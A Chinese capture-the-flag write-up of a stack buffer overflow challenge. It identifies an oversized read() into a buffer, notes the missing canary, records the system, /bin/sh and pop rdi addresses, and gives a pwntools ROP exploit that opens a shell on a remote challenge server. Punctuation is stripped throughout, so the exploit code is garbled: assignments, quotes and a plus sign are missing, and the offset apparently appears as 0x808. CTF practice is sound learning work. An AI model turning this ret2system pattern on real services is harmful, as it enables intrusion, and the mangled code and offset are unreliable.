寻找漏洞点检查一下拖入ida查看main函数中没有明显的漏洞进入vulnerable_function()函数发现明显的溢出点read函数读入的长度远大于buf变量定义的长度该程序没有开启canary保护,我们直接劫持返回地址getshell就行编写exp前的准备工作并且通过shiftf12找到/bin/sh字符串,且有system函数记录一下地址 system_addr 0x4004C0 bin_sh_addr 0x600A90再查找一下rdi寄存器的地址记录一下地址 rdi_addr 0x4006b3编写expfrom pwn import * context(arch amd64,os linux,log_level debug) io remote(node5.buuoj.cn,29532) offset 0x808 rdi_addr 0x4006b3 system_addr 0x4004C0 bin_sh_addr 0x600A90 payload cyclic(offset) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr) io.sendline(payload) io.interactive()成功获得flag